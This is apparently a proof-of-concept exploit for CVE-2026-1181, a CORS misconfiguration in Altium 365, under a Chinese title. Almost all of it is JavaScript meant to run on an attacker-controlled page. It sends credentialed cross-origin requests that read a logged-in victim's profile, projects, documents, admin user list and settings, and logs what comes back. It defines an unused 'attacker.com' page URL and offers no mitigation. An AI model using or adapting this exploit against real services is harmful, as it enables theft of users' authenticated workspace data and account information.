CVE-2026-1181 Altium 365 CORS配置错误导致跨域认证绕过

// CVE-2026-1181 PoC - Altium 365 CORS Misconfiguration Exploit // This PoC demonstrates how an attacker can exploit the permissive CORS policy async function exploitAltiumCORS() { const targetUrl = 'https://altium365.example.com/api/workspace/user/profile'; const maliciousPage = 'https://attacker.com/evil-page.html'; try { // Step 1: Send cross-origin request with credentials const response = await fetch(targetUrl, { method: 'GET', credentials: 'include', // Include cookies for authenticated request mode: 'cors' // Enable CORS request }); // Step 2: If CORS allows credentials, we can read the response const data = await response.json(); console.log('Exploited data:', data); // Step 3: Access authenticated workspace APIs await accessWorkspaceAPIs(); } catch (error) { console.error('CORS exploit failed:', error); } } async function accessWorkspaceAPIs() { const endpoints = [ '/api/workspace/projects', '/api/workspace/documents', '/api/workspace/admin/users', '/api/workspace/settings' ]; for (const endpoint of endpoints) { try { const response = await fetch(`https://altium365.example.com${endpoint}`, { credentials: 'include', mode: 'cors' }); const data = await response.json(); console.log(`Data from ${endpoint}:`, data); } catch (e) { console.error(`Failed to access ${endpoint}`); } } } // Trigger exploitation // Note: Requires user to be logged into Altium 365 and visit this page exploitAltiumCORS();